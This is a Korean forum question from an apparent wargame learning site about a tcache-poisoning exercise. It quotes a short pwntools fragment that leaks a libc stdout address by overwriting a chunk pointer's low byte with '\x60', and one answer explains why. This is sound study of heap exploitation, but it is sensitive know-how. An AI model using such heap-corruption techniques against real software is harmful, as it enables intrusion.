libc leak 부분에서 코드 이해 안가는 부분이 있습니다.
alloc(0x30, "BBBBBBBB")      # "dreamhack"
alloc(0x30, "\x60")          # stdout
# Libc leak
print_chunk()
p.recvuntil("Content: ")
stdout = u64(p.recv(6).ljust(8, b"\x00"))

이 부분에 대해서 ubuntu 20.04 환경에서 테스트 해보니 아무 값도 나오지 않았는데, 과정이 어떻게 되는건지 궁금합니다.
왜 \x60 값을 주는 것이 stdout인건지와 현재 chunk를 출력했을 때, \x60이 나오는것이 아닌 stdout의 주소 값이 나오는 것인지 모르겠습니다.

#시스템_해킹 #공격기법 #tcache_poisoning
작성자 정보
답변 1
Hmin
강의 수강: 10

stdout의 주소의 마지막이 \x60으로 끝나는데 여기서 청크를 할당할 때 데이터도 같이 넣으면서 할당해야합니다.
그런데 여기서 stdout주소에 생성한 청크의 데이터 부분 위치에는 _IO_2_1_stdout_의 값이 들어있기 때문에 \x60이 아닌 다른 값으로 데이터를 주게 되면 _IO_2_1_stdout_의 값이 바뀌게 되어 문제가 생길 수 있기 때문입니다.

2022.09.09. 20:08
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기